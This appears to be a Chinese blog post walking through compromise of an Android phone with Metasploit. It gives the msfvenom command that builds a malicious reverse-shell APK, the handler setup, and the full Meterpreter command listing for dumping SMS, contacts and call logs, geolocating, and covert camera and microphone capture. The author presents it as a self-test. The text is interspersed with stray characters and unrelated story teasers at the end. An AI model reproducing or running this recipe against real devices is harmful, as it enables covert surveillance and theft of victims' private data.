android平臺(tái)入侵測(cè)試

在學(xué)習(xí)過(guò)程中绢掰,發(fā)現(xiàn)一篇入侵android文章令野,本著學(xué)習(xí)為主的態(tài)度王财,通過(guò)自己手機(jī)實(shí)際測(cè)試一下,入侵主要思路通過(guò)msfvenom生成惡意app察蹲,通過(guò)mesfconsole的handler 監(jiān)聽反向連接請(qǐng)求请垛,并發(fā)送遠(yuǎn)程控制指令催训。

  1. 生成而已a(bǔ)pp

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=4444 >myfast.apk
生成app時(shí)涉及到兩個(gè)參數(shù)LHOSR即監(jiān)聽反向連接的服務(wù)器,一般為攻擊者使用的專用設(shè)備宗收,LPORT反向連接時(shí)使用的端口漫拭,即handler監(jiān)聽的本地端口。

生成app

app生成后在android平臺(tái)安裝該應(yīng)用混稽。

  1. 啟動(dòng)msfconsole
    啟動(dòng)成功后通過(guò)search功能找到payload/android/shell/reverse_tcp 采驻。
msfconsole
  1. 啟動(dòng)handler監(jiān)聽
    切換到該模塊。

use exploit/multi/handler
設(shè)置相應(yīng)參數(shù)主要參數(shù)為L(zhǎng)HOST荚坞、LPOER挑宠、payload,可以通過(guò)show options命令查看所有參數(shù)颓影。

查看參數(shù)

通過(guò)如下方式設(shè)置參數(shù)

sset payload android/meterpreter/reverse_tcp
set LHOST 192.168.0.13
set LPOER 4444

配置完成

通過(guò)exploit方式啟動(dòng)監(jiān)聽各淀。
啟動(dòng)后等待程序連入如圖:

等待連入狀態(tài)

當(dāng)app在手機(jī)端運(yùn)行時(shí)可直接與手機(jī)建立起鏈接如圖:

連接以建立

輸入help可獲取使用說(shuō)明。

meterpreter > help\r

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command       Description
    -------       -----------
    screenshot    Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Android Commands
================

    Command           Description
    -------           -----------
    activity_start    Start an Android activity from a Uri string
    check_root        Check if device is rooted
    dump_calllog      Get call log
    dump_contacts     Get contacts list
    dump_sms          Get sms messages
    geolocate         Get current lat-long using geolocation
    hide_app_icon     Hide the app icon from the launcher
    interval_collect  Manage interval collection capabilities
    send_sms          Sends SMS from target session
    set_audio_mode    Set Ringer Mode
    sqlite_query      Query a SQLite database from storage
    wakelock          Enable/Disable Wakelock
    wlan_geolocate    Get current lat-long using WLAN information

這里簡(jiǎn)單使用幾個(gè)相應(yīng)功能
獲取位置信息

位置

獲取通話記錄

通話記錄

主動(dòng)拍照

拍照

錄像

錄像

其他詳細(xì)用法請(qǐng)參見幫助诡挂。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末碎浇,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子璃俗,更是在濱河造成了極大的恐慌奴璃,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,542評(píng)論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件城豁,死亡現(xiàn)場(chǎng)離奇詭異苟穆,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)唱星,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評(píng)論 3 394
  • 文/潘曉璐 我一進(jìn)店門雳旅,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人间聊,你說(shuō)我怎么就攤上這事攒盈。” “怎么了哎榴?”我有些...
    開封第一講書人閱讀 163,912評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵型豁,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我尚蝌,道長(zhǎng)迎变,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,449評(píng)論 1 293
  • 正文 為了忘掉前任飘言,我火速辦了婚禮氏豌,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘热凹。我一直安慰自己泵喘,他們只是感情好泪电,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,500評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著纪铺,像睡著了一般相速。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上鲜锚,一...
    開封第一講書人閱讀 51,370評(píng)論 1 302
  • 那天突诬,我揣著相機(jī)與錄音,去河邊找鬼芜繁。 笑死旺隙,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的骏令。 我是一名探鬼主播蔬捷,決...
    沈念sama閱讀 40,193評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼榔袋!你這毒婦竟也來(lái)了周拐?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,074評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤凰兑,失蹤者是張志新(化名)和其女友劉穎妥粟,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體吏够,經(jīng)...
    沈念sama閱讀 45,505評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡勾给,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,722評(píng)論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了锅知。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片播急。...
    茶點(diǎn)故事閱讀 39,841評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖喉镰,靈堂內(nèi)的尸體忽然破棺而出旅择,到底是詐尸還是另有隱情惭笑,我是刑警寧澤侣姆,帶...
    沈念sama閱讀 35,569評(píng)論 5 345
  • 正文 年R本政府宣布,位于F島的核電站沉噩,受9級(jí)特大地震影響捺宗,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜川蒙,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,168評(píng)論 3 328
  • 文/蒙蒙 一蚜厉、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧畜眨,春花似錦昼牛、人聲如沸术瓮。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)胞四。三九已至,卻和暖如春伶椿,著一層夾襖步出監(jiān)牢的瞬間辜伟,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工脊另, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留导狡,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,962評(píng)論 2 370
  • 正文 我出身青樓偎痛,卻偏偏與公主長(zhǎng)得像旱捧,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子看彼,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,781評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,112評(píng)論 25 707
  • 一廊佩、MSF終端命令 show exploits 列出metasploit框架中所有的滲透攻擊模塊 show pay...
    Kaen閱讀 3,252評(píng)論 0 1
  • 前言 提權(quán)何須收集各種EXP,一個(gè)MSF就夠了靖榕,本文為大家?guī)?lái)MSF綜合提權(quán)的一些姿勢(shì)标锄。 文章內(nèi)容: 學(xué)習(xí)`Met...
    欽玄閱讀 9,090評(píng)論 1 9
  • 文/淑影 《思考的技術(shù)》一書是日本大前研一所著。本人對(duì)日本的東西不太感冒茁计,連其享譽(yù)世界的馬桶蓋也沒(méi)啥好印象料皇,或許是...
    淑影閱讀 6,672評(píng)論 0 3
  • 又是一個(gè)周末了,時(shí)間既快又慢地流逝著星压,一不留神践剂,便會(huì)蹉跎了。周一就開始盼周末娜膘,當(dāng)周末近在眼前的時(shí)候逊脯,又沒(méi)有了盼頭,...
    清雅閑士閱讀 248評(píng)論 0 1